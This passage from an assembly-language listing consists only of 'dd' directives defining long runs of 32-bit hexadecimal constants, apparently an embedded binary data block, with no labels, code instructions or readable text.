		dd 9F905524h, 1274976Ch, 2C918C2h, 0E2E112C4h, 390CE440h
		dd 3C70142Ch, 0DA834500h, 0FE60D353h, 12F0036Ch, 814FEEB8h
		dd 0F3D80AE8h, 0F100DD72h, 70D0FDF2h, 4B7445B0h, 5B4EC03Eh
		dd 5D00667Ah, 803F7E6Fh, 0EC18B25h, 0A6F99FCEh,	0E28B043h
		dd 0E005C2D9h, 1E0392D8h, 20B449EAh, 0C02CEA3Bh, 0F416Fh
		dd 61574B4Dh, 93F985FAh, 2C6440C0h, 197ECh, 173C07A2h
		dd 41D122C9h, 2452D900h, 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh
		dd 996E80CCh, 9F0FA34Eh, 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h
		dd 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h,	133F0AC2h
		dd 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h, 900EDCF5h
		dd 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh,	760EC359h
		dd 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h, 72310C89h
		dd 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh, 99F85EECh
		dd 0AC3825C0h, 6005070Bh
		dd 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah,	0B2D381A8h
		dd 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh,	0F0817C90h
		dd 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h
		dd 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h,	4B037946h
		dd 7E5FCEEh, 853D7E58h,	2E0591B0h, 16A101ABh, 0FCCFCE20h
		dd 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh,	22824Ch
		dd 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h
		dd 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h
		dd 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h
		dd 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h,	859FEDD6h
		dd 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h
		dd 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh
		dd 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh
		dd 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h
		dd 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh,	4E740C38h
		dd 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h
		dd 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h, 890083F9h
		dd 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh
		dd 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h
		dd 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h
		dd 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh, 3EB18404h
		dd 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h,	71F3F9EFh
		dd 6CFBD038h, 70EFA05h,	0FD000D3Fh, 37CF258Eh, 4F3D380Fh
		dd 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h,	74C8F3BAh
		dd 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h, 3C533Bh
		dd 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h,	0C4C2A09Ch
		dd 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh, 64B5E0h
		dd 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h,	0DBC600A2h
		dd 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh, 6CE1918Bh
		dd 539DF999h, 0F2A5FC00h, 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh
		dd 840E879Fh, 8251673Dh, 0C08CF872h, 8EC19Eh, 90093E82h
		dd 4F92F08Ah, 7C42E6E5h, 0A27E3A40h, 0C2AA4A00h, 887CEAB2h
		dd 0E0120313h, 5DE84982h, 987A9CD8h, 7E0EACFAh,	0E0E959C0h
		dd 253A110Eh, 3BFA005Fh, 3D613C4Dh, 0B27B3E87h,	0E5072D9Eh
		dd 0E4708464h, 1F11B58Ch, 6CAB9Ch, 9302F624h, 8600C218h
		dd 0C0E48457h, 9085E808h, 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh
		dd 5BA25001h, 0CB4C0BC3h, 0A4392EDDh, 0FDB0C7Bh, 311EF754h
		dd 2D921C09h, 80418BC9h, 2171FE4Dh, 33B01F28h, 0D1C300B9h
		dd 344CD8D3h, 0AC394F2Eh, 36E9A300h, 0EAF8E1EFh, 0BF50002h
		dd 0FFD131FDh, 820787DAh, 4C35272Dh, 49F044E0h,	4749Fh
		dd 97C2A076h, 87260BB7h, 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh
		dd 54BB7E22h, 0C70B9EBFh, 80508BB5h, 0F34BE1B1h, 3F80561h
		dd 8342092Eh, 23D83E61h, 0C23B3A84h, 305C8351h,	77937B1Fh
		dd 70980186h, 34AC5D5Eh, 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh
		dd 580A12h, 4A3074FEh, 44F6C838h, 0F8919500h, 0FA272B50h
		dd 36A41EFBh, 3A564045h, 0DC9270E8h, 4AA97400h,	0E0CC5FD5h
		dd 0FD41D6Eh, 810E40D3h, 0E1ECB1E8h, 9511F003h,	0F0998A04h
		dd 0EC0F5E2h, 9C8F3263h, 9EA81D60h, 0E30016BAh,	93F726E1h
		dd 41747h, 0F8C26334h, 9EC669D7h, 95A7C00h, 0A966374Fh
		dd 968500A0h, 6E50920Eh, 0CE0F7E49h, 602E7824h,	0B08E16AEh
		dd 0F0EB121Ch, 0D2740042h, 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h
		dd 4BBEA8h, 3DF28329h, 0F0E947B2h, 0E68F5E50h, 7EC97305h
		dd 9D87DA70h, 0AB5A9D50h, 0BE443EC2h, 0D21FA400h, 0F8490D97h
		dd 20E1290Bh, 0FBAE05Bh, 0CF862C8Ah, 0C9960767h, 0AE24F29Eh
		dd 0BE748E58h, 93FC600h, 2AE4D68Eh, 3D030013h, 260F097h
		dd 7D003E2Fh, 3F217081h, 4386C29h, 4C26453Bh, 500ABAEh
		dd 0C811E088h, 39EA015Ch, 2D663A2Fh, 0A7868076h, 0A8CEBC24h
		dd 3C0F5CDCh, 414F3300h, 0F07E3409h, 0D85D9C00h, 50BA5CC0h
		dd 953800D7h, 0A0596685h, 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh
		dd 0C58B7B1Dh, 1380E112h, 5EFCF04Dh, 0E4168800h, 5014C609h
		dd 44762CD8h, 607A013Ch, 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh
		dd 0EAE41B4Eh, 46CF0034h, 0CC38C003h, 4B00DD92h, 0B2F0BDE4h
		dd 9E9CA8h, 0D126C26h, 0E82972E0h, 6A9A3700h, 8549807Ah
		dd 0C72700DAh, 9CC11642h, 0CC4C68D6h, 0EC80B14h, 727D003Ch
		dd 0BFC9FD8Eh, 2F4DD583h, 0EF8020E9h, 509BB0E7h, 6898B038h
		dd 101CEA00h, 2F92153Fh, 0D6282CE0h, 8E9F03FEh,	32B009B6h
		dd 6800C19Ch, 0D136C926h, 3A49D93Eh, 5E87B228h,	70617F2Fh
		dd 960B3FA0h, 24D8B50Bh, 0C4B88098h, 0DAC954h, 50859DD3h
		dd 15CAE0DDh, 2931260Fh, 92626088h, 0AE8276h, 2C7C7E9Eh
		dd 3249017Ah, 4D334200h, 0EC3C80C9h, 84D7002Fh,	0F6F819DAh
		dd 0C101BC27h, 166EE9D8h, 0DA300964h, 0B89C0058h, 4C897898h
		dd 1C0091A5h, 4E9D4636h, 169E5E1Dh, 0B0831E66h,	0A800ACA7h
		dd 746C72BBh, 0E27693h,	69385C12h, 0B27C2683h, 6600C9E8h
		dd 0F9B4F1A1h, 27BCAh, 0C390516h, 17A34AC3h, 0C223B300h
		dd 7E06702Fh, 525E0040h, 0C968660Fh, 36094188h,	0D96C6494h
		dd 69201EBh, 0CC4A74B0h, 0E6724009h, 3A024200h,	2CC2104Eh
		dd 70E8FC3Ch, 28682641h, 2A8E3F4Bh, 0FA00D34Ch,	0DD315230h
		dd 34293300h, 84A7672h,	0AB0C1C0Bh, 0D3E640h, 58C98D5Eh
		dd 880E3C20h, 0A00965E4h, 0E3603E41h, 6CD0F78Ah, 707D2Dh
		dd 0E498C720h, 232979Ch, 0DE1C1072h, 0F88045C4h, 620D2F22h
		dd 66E113EAh, 7B980006h, 0D812EE0Bh, 1A4BF002h,	0E2C63AC3h
		dd 33AEC013h, 0BEE400AFh, 265081B7h, 3C019335h,	410E251Ch
		dd 0E0306474h, 0E2E80030h, 9682DC06h, 8600562Dh, 5A2C621Fh
		dd 91DA49Dh, 3CFE81FBh,	0C8FA4D80h, 1C003E57h, 93713F46h
		dd 0B4E179h, 0F4B12260h, 0FCC7F8BCh, 58DDFF4Ch,	947C053Ch
		dd 0C3C0FE80h, 901D31h,	96849754h, 2E08BC1Ah, 25CA6F00h
		dd 40E15E87h, 553800F4h, 745B7239h, 8F704983h, 3EAE3D00h
		dd 0EAF32CC6h, 1EC001B3h, 46A2B92h, 0E956E4C1h,	4B00F1E2h
		dd 0F24CE238h, 3824763Bh, 3D80099Fh, 4E32D847h,	2E00C366h
		dd 0DC94D28Ch, 279C122Ch, 4DC19E83h, 4A1670F2h,	96B41F07h
		dd 893C2F6h, 22929063h,	0B29D0043h, 7CD07054h, 0BD007EB8h
		dd 0C53F8917h, 74230B1h, 7724F080h, 499E00D2h, 0E100D6FAh
		dd 6807E9F5h, 3263A66h,	3CE42B24h, 0D9B88F3Dh, 2D3E93BCh
		dd 0EC560BA0h, 0B575815Eh, 0E7F8FA07h, 0F9E405F1h, 0C05D6093h
		dd 856449E8h, 27CA781Eh, 0A17207C0h, 14E4ACE7h,	0BE76E0BBh
		dd 38B4CE00h, 60A00A17h, 89951A00h, 311C04B6h, 3C74B8BCh
		dd 4F81613Dh, 0FC5BE434h, 608E6163h, 0B7E2B0A5h, 98879703h
		dd 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh,	2794DC09h
		dd 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h,	3772007Fh
		dd 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh,	2FFA002Dh
		dd 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h, 5602C11Dh
		dd 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh,	7449176Ch
		dd 7C5E04D8h, 0C8B3C05Bh
		dd 401C5070h, 1C014F0h,	0EE300BA3h, 3A7C32h, 0F916640Ch
		dd 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h
		dd 560028CCh, 2E7353Fh,	741C53Dh, 0FC4992A0h, 0FD51204Dh
		dd 59008C20h, 611FFA94h, 76593h, 25923B98h, 9A08E002h
		dd 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h,	76165C26h
		dd 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh
		dd 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh
		dd 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h,	6000FAB7h
		dd 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h,	0B41A0F00h
		dd 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh
		dd 0EB250C9h, 40C61F0h,	0C32A08E0h, 14E6104Ch, 0E318D300h
		dd 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h,	46FA5CF9h
		dd 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h
		dd 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh
		dd 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h,	81709E3Dh
		dd 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah
		dd 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh
		dd 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h,	74F96C12h
		dd 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h
		dd 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h
		dd 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh, 1C4107FEh
		dd 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah,	2FF0747Bh
		dd 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh, 0E164C611h
		dd 0FA6CE968h, 0AEE70h,	0E285B778h, 0B9E4BC80h,	0C07C3E01h
		dd 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h
		dd 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h,	120036F4h
		dd 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h, 10609C00h
		dd 18888597h, 206A3EB0h, 28068480h, 64E808FDh, 1344BC01h
		dd 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h, 0DE944FC6h
		dd 0D08F0E1Eh, 5263D4CBh, 0E090DC7Eh, 0B00E45Bh, 8650ECAEh
		dd 3F0FF45Eh, 0E80FC76h, 8490438h, 4A48EE58h, 18F00073h
		dd 0F4561CE2h, 147B01Fh, 162C9328h, 0D8A4B1AFh,	0E07F3C02h
		dd 87B5440Bh, 75F858h, 4B854E4h, 602F5C3Fh, 15A00E03h
		dd 85B6AB01h, 3FF013Bh,	40E86090h, 0EB0E1506h, 87821144h
		dd 2EB590DBh, 4D02E00Ah, 44BB18DEh, 0DD039029h,	719D2B18h
		dd 33BD8311h, 89AD30D8h, 832E2FE9h, 3E850F0Eh, 8D183B05h
		dd 5027E030h, 0EC2095FFh, 60897D31h, 0F88B1BDCh, 0ED669D8Dh
		dd 432D5311h, 797936E8h, 21FA4228h, 4E7D4457h, 6A49D48Bh
		dd 6A075618h, 10066804h, 0DF46EAA0h, 4C6D38ABh,	75264268h
		dd 2A453AA3h, 0E853C70Ch, 7F8B3774h, 0FBD51C8h,	1B41B5E1h
		dd 0ACE2A4F3h, 0A3807623h, 57E35036h, 850E0E8Dh, 7EF2C51h
		dd 10AC3C0h, 2100409Ch,	2002B063h, 7F3C9008h, 145200C4h
		dd 4409108Ch, 0D8BD21CCh, 57E100E0h, 330E0520h,	8500222Ch
		dd 4FF016Fh, 559D8Bh, 0B0CC02Ah, 0A7A74DBh, 870003ECh
		dd 89195985h, 318DF0h, 831171B5h, 840FC03Eh, 47D36A1Dh
		dd 468B4043h, 68E4C004h, 141EFC99h, 9A063850h, 0EC305586h
		dd 8B560D1Fh, 9D0309C5h, 51A0BB05h, 2F29A03h, 6EBD8880h
		dd 12D0070h, 85FE4C75h,	8B0F0940h, 0E050033Eh, 370EFF1Eh
		dd 0C30707C6h, 0CF8FD7A7h, 535651A3h, 83BA00D5h, 0B55506E9h
		dd 33173FE0h, 56000BDBh, 1A781C03h, 0E83C17ACh,	0E9FA00BBh
		dd 494304D8h, 0EDEB0100h, 0C3831E29h, 0C6CD0005h, 0FA4C76F3h
		dd 5B070DE0h, 6258595Eh, 36104837h, 0F90CC1h, 8DA5F302h
		dd 3C0377E1h, 535EA400h, 809C5088h, 9B853B82h, 7D8A083Bh
		dd 1ED57AB2h, 0FF45C0C1h, 64E402A9h, 0E10729FEh, 864B5595h
		dd 2B0F1970h, 79D89DD0h, 0E8C1C200h, 0B88A4610h, 235D0067h
		dd 4C3A6D03h, 0FC0074FFh, 834E548Bh, 0D17308h, 0ADCA7DACh
		dd 0C107EF66h, 910CEB00h, 9D7401FBh, 5002070Bh,	0C7033D16h
		dd 2F2CF020h, 0E3001481h, 79820FFFh, 0E604011Fh, 7E1D79D4h
		dd 390EEEB2h, 8DBD462Dh, 0B8E20200h, 61DC9ED9h,	128B4B0Ah
		dd 6000E203h, 40C0850Ch, 1539071h, 0EAC2EB83h, 20C7A2D8h
		dd 26000CF0h, 53073275h, 29F016h, 4A4D6E04h, 413BB4C7h
		dd 0C403A901h, 66470646h, 107AD8h, 1B57ED6Ah, 7ED618B7h
		dd 0FA511A00h, 850D41B0h, 0A49900DBh, 62F759A2h, 802501ECh
		dd 0F0F475h, 5653C543h,	6500028Ah, 19B5AC7Fh, 0E6E8B850h
		dd 755B0367h, 2A25A66Fh, 0D28B57E0h, 83659839h,	31342BC7h
		dd 99E9D842h, 4939012Ah, 37DC3606h, 188EDC53h, 5A247500h
		dd 0C1124AD3h, 140200E2h, 3F7C0F63h, 835F3C7Bh,	30AE0h
		dd 0D91CA35Ch, 0A1DE1304h, 0EB5F2300h, 21515A16h, 8177A4h
		dd 8307894Bh, 3704B14Ch, 0AF32E900h, 4A2D06E7h,	710E892h
		dd 0D9141C0Ah, 0FEEBF0C1h, 8500BA24h, 0A4506544h, 735B483Dh
		dd 100400C2h, 61022F11h, 0B81F0875h, 0C402201h,	32BF54Bh
		dd 1C9300C3h, 0B715588Dh, 0AC005051h, 7656DCD3h, 3942DEBBh
		dd 0A3804825h, 2708ED21h, 9400DB30h, 641A8B4Ah,	38D83D3Ch
		dd 0C40283D0h, 306A5F10h, 0E1468961h, 0C9C2301Dh, 2C47F600h
		dd 513C978Ah, 74985Bh, 43A57729h, 14959FEFh, 4CC2CE01h
		dd 0F4391833h, 0AB10D4h, 0AC4A4051h, 779F196Eh,	53D51E00h
		dd 56D28D89h, 0E49B00F2h, 68C598F0h, 0C73BC84Dh, 50D480DAh
		dd 5C9CB6BEh, 31EEE4h, 13B5A1Fh, 3733888Ah, 0EF60DA00h
		dd 0BB86BC39h, 0E2EE006Fh, 1072C6DCh, 0AE0096FEh, 24CF0A7Dh
		dd 0ADB14Fh, 4C2A4481h,	0CDD53940h, 0C8012301h,	79B62C09h
		dd 0BFF1E4h, 17607C0Eh,	0AB51E0FEh, 8D0061EAh, 1690FBD6h
		dd 2FD240h, 28A1B4D4h, 587CC109h, 0B8191100h, 98107174h
		dd 0C72A0059h, 0BEBB8531h, 80009F8Bh, 233935E8h, 37BD87h
		dd 92DF5D63h, 4E4F0372h, 6D009579h, 57B9D5E4h, 38DEA83h
		dd 82B7CD0Fh, 7C00DBCh,	0B103FD41h, 87A3972Ah, 8ACFE029h
		dd 48240078h, 0B7EA61E9h, 0D5EE7649h, 0F768441Dh, 0A1145080h
		dd 0F2C4BC60h, 0C8E0027h, 0A0656631h, 0BF00174Bh, 3FD6872Ah
		dd 6EEDF1h, 0DC8ED3BCh,	0AD30EC57h, 0D548E5FAh,	56CB05FDh
		dd 0C3BB4CF1h, 800A1DBh, 0A575C410h, 8CDBEh, 31E18193h
		dd 42CED970h, 0DE19DD1Fh, 71959987h, 3F8F1CA0h,	4698003Dh
		dd 0DB31A266h, 50030A8Eh, 5DA8D0F7h, 59C6D05Ch,	24D51EC2h
		dd 0B842CF0Ch, 0BD49E9C0h, 8100262Dh, 62CDBB78h, 0A2023h
		dd 0B0FCEC59h, 5C33F086h, 0D79BE600h, 0ABE21B42h, 411C0060h
		dd 5D740602h, 0F00ECC61h, 7F834AC6h, 2FA2EC0Eh,	31472075h
		dd 0D55E0Fh, 0B39E8D01h, 0C78E62D4h, 5A1DCD00h,	0F5B2F9A4h
		dd 0A22F6092h, 1C684ADEh, 512E1E0Eh, 451A4069h,	0F430F8Ch
		dd 0B82A844Eh, 0FA7B6C20h, 0B400A860h, 768BC7DFh, 7DB91A0h
		dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h,	1504E083h
		dd 18CECDFh, 35586176h,	0C46F24BFh, 0E63B5599h,	0EC2B0019h
		dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h
		dd 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh, 737938h
		dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch
		dd 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h, 2BC33A65h
		dd 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h,	0E4481E5Dh
		dd 0D29CF6h, 41E2D45Fh,	641C0467h, 0B4FD6F4h, 7FDCC037h
		dd 1B6C36Eh, 12E357A1h,	0CA01AA54h, 53458EC0h, 4072200h
		dd 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh, 0B851CF3Ch
		dd 5AC56C31h, 0ED01E0h,	7BCBB39Dh, 69C5ACA6h, 4A6F2500h
		dd 2565E2Ah, 88F81410h,	1A00E4DAh, 76A73E27h, 1301EB1Bh
		dd 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh,	0B50053D4h
		dd 0E396C067h, 320482h,	0AA0E3C76h, 0D449596Ch,	771D7C72h
		dd 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h, 0AFE2DD03h
		dd 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh,	6878AC54h
		dd 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h, 641500C6h
		dd 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh,	35557BC3h
		dd 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah, 1E024707h
		dd 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah, 830F090Dh
		dd 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h, 0BD5F0731h
		dd 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h, 0E0C92120h
		dd 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h, 0B2A208E0h
		dd 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh,	2140410Eh
		dd 31811F0h, 777FF883h,	2C1A903h, 2CF6155Dh, 0C90033A3h
		dd 7401E8C0h, 6AD18312h, 0E21CB602h, 5D07FEE7h,	552609B9h
		dd 82618687h, 797008C2h, 7A8817E1h, 39FE7C5Dh, 38C76AC1h
		dd 560FDC5Eh, 7574A369h, 1541F361h, 0D636F16h, 65CE468Eh
		dd 508F0C35h, 9EFF6F8Eh, 450FB863h, 7AF16978h, 53E373F8h
		dd 8CC67545h, 4D6343A6h, 0FC676129h, 41F00EFFh,	7060770Fh
		dd 746E6972h, 4C146663h, 4544F04Fh, 6206E52h, 98707B9Eh
		dd 50657AE5h, 6F643E70h, 375FB875h, 2079C642h, 1F53BEFFh
		dd 63DE7325h, 2DD35C65h, 0B5BE8CDEh, 874D3862h,	1EB7E261h
		dd 6BFBEE38h, 0F7C779CBh, 2E63C66Dh, 0B6B20CCh,	0DA727E62h
		dd 51A76875h, 2C64D66Fh, 1E2BA2A3h, 245E4375h, 38C4C190h
		dd 0E509D232h, 0B3181529h, 33FD4702h, 0FEF741F1h, 239AF5D5h
		dd 7E8F43FFh, 0A663B5D2h, 4163467Dh, 0DF6F4C27h, 9F5394AEh
		dd 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h, 10060h, 43CA0000h
		dd 0C10A0000h, 9CE31D37h, 0C0B3A19h, 98A2C323h,	8BFEA01Eh
		dd 10C3EDCBh, 27FF5FB4h, 6A0B3B52h, 0B01F2223h,	1B465890h
		dd 726C5614h, 2683A280h, 45BF7F56h, 136F8510h, 0A5D47A48h
		dd 4BDD602Fh, 50055B37h, 0C30E0FD0h, 44396BF6h,	0AAEFA851h
		dd 386F3D4Ch, 4770E9D9h, 95CFE4BFh, 3B0C1031h, 24725C9Ch
		dd 3ADBE0FEh, 0AC2EFA6Bh, 0D5E2FF59h, 0B61BAE74h, 21794D6h
		dd 22702F83h, 3E00ED13h, 70DE81B2h, 0BDE51F9Ah,	74B21C94h
		dd 5BCE771h, 60F6DBB3h,	1FE92279h, 32E858D4h, 7AA31321h
		dd 1E164C79h, 22E883BBh, 0CB04E728h, 269C48Ch, 0D80D66C0h
		dd 66AE56E2h, 0A2543D18h, 369DBFDFh, 0BB22D3DBh, 55D6C682h
		dd 4E72B3F9h, 0F9C23A3Ah, 74B6B18Eh, 2B2E74F3h,	6B8A8260h
		dd 881278B3h, 4DF9906h,	4A17E8EBh, 149B25E5h, 0E555BB9Eh
		dd 228EAF2Ah, 0DDFF7C48h, 0A0F2B270h, 0D8032333h, 34C007E5h
		dd 0A461D79h, 0CED81BB9h, 0CA268741h, 0E5D86B4Ah, 0D86382Bh
		dd 2F73388Ah, 0F1B94DA0h, 1DC00DE6h, 22267080h,	0BD2F03CAh
		dd 5613E19Ah, 0F244A5D2h, 755CE1Ah, 5FF704DDh, 0C1F220F9h
		dd 0A2160E8Dh, 0CBFDE6AAh, 44C31642h, 0B5370D14h, 0DAA9DA57h
		dd 9C674E30h, 627BE10Fh, 19E9B749h, 0F20F476Eh,	6C89061Dh
		dd 88FD411Eh, 50854DFBh, 576013E7h, 0ED8E2BD8h,	861767B1h
		dd 7C2248D3h, 92B7B9A6h, 8ED6BC1Fh, 0B8A2F700h,	0DCCC7CACh
		dd 814BAC71h, 0F7E231DDh, 98390DD1h, 3FA83F42h,	6C6F82B9h
		dd 0C7ECBF84h, 403B97EFh, 18BCA6DBh, 0EE73E953h, 368807CCh
		dd 0D7FC590h, 0CA54C6F8h, 4E55780Eh, 85EB69EBh,	8FCC1244h
		dd 17528289h, 7E3EDF72h, 55E2BF03h, 0F49C5041h,	0A6E6F438h
		dd 0B4A104F8h, 0D0A72CF5h, 0CD8CB79Ah, 44419B5Fh, 6E707C0h
		dd 4984ADECh, 0D27C6CA8h, 28D28F2Eh, 65DFD100h,	6B3ECE5Bh
		dd 30718949h, 0DAE2EB09h, 19B35591h, 419E704Ch,	0E9C1E1h
		dd 495A7F0Eh, 0DB492F9Dh, 5A578861h, 2ED9893Dh,	3A535478h
		dd 27A1F8Bh, 0AC764B6Eh, 0EE11C99Ch, 3744C725h,	0C8E41FBAh
		dd 887AEEEDh, 2F4D2CF3h, 0A5E31823h, 0BAEC3EFDh, 0EDAE27FBh
		dd 0A6CA4118h, 0F5C8E51Bh, 7E9E137Fh, 6832D5B6h, 41597341h
		dd 24D57712h, 4E7A2761h, 95622FDBh, 6FCCE617h, 21D7701Ch
		dd 0B17CE3B8h, 0A4F4D702h, 0F66137E2h, 75635542h, 0D1F992F6h
		dd 74F5F9A3h, 0FAE1100Dh, 2AB594E3h, 0E1050A2Eh, 0B26673C3h
		dd 4CCCE0D3h, 5B846BEAh, 44DE3B62h, 1B8EFED7h, 95356AA9h
		dd 0D546D73h, 1AC0E5CCh, 6BF102BEh, 7F0D3BEBh, 0CEEE786Fh
		dd 23B235E4h, 90D894E2h, 5B5059C3h, 4572735Bh, 0D7E3F896h
		dd 0EB51FF9Eh, 26609C21h, 2C9EEAB1h, 0F9F92F67h, 910791ECh
		dd 77382634h, 69BAB9D9h, 42201103h, 0A3CEC159h,	16C8591Dh
		dd 0E0F0DFECh, 0AED55DE5h, 7289F30Bh, 22A0896Eh, 9DA9AD79h
		dd 0C63828BDh, 5A83B2ACh, 2CADF584h, 9AD867FBh,	5C232025h
		dd 0C9DA69FDh, 9A0D7FF5h, 0ECFC7FECh, 0F709F0Ch, 7F075386h
		dd 8BD41070h, 50AF396Fh, 1C99D453h, 98B7494Eh, 0E40655EAh
		dd 0F855BBE9h, 27F4D432h, 6E46CAB8h, 0AEF01946h, 3FA06C6Dh
		dd 8647C776h, 0A44A7C4Bh, 0A4C4EFDCh, 7E59C0DDh, 564745A4h
		dd 0F4C63AD2h, 3CC3AFB2h, 672E52EAh, 4F8C6A71h,	710D8C37h
		dd 0FD74A96Ch, 52F54CF0h, 0D8C2523Bh, 0D92F63E7h, 9AB69752h
		dd 5DB218D0h, 0A4EE3055h, 411802DCh, 0EB7B869Fh, 5C56328Dh
		dd 13FF914Eh, 8D63BBBFh, 0B0E31D1Fh, 0F3918CAh,	933440C6h
		dd 41310010h, 8A1E7E23h, 424DA0B3h, 732686C7h, 8CF3D23Ch
		dd 0B4E3DA93h, 826FE2A0h, 34E2619Bh, 5A58F1B3h,	0A51E1544h
		dd 0BC39468Ch, 2D6B3917h, 0B325508Eh, 9CEC0C3h,	0E5C881DEh
		dd 0E2D79E07h, 5A5075D7h, 0CC5E15ACh, 2F172A18h, 33855FF5h
		dd 219327CFh, 0BFCF7469h, 0A1E6FB48h, 90CA05D3h, 0EED51956h
		dd 14497E1Dh, 1196F238h, 0C7085001h, 0A5E3C164h, 10EC2149h
		dd 82D2C657h, 1A9B8EBDh, 30BB599Ch, 0C831B38Dh,	8FCA113h
		dd 19970E7Fh, 70BFCC89h, 2876DB1Ah, 43B5AFB3h, 13B3BE9Dh
		dd 87CC025Fh, 0A585EC20h, 9F0667F7h, 11B4E98h, 653B5131h
		dd 18C20C20h, 0CC243217h, 6C5AFE67h, 5857E2B2h,	0C6B2FB4Dh
		dd 6698FF95h, 0A606007Ch, 7C8DFDECh, 97747246h,	0DA072001h
		dd 875DD6E4h, 0BAAA2A25h, 74CF468Eh, 32983735h,	0A7D6F5CDh
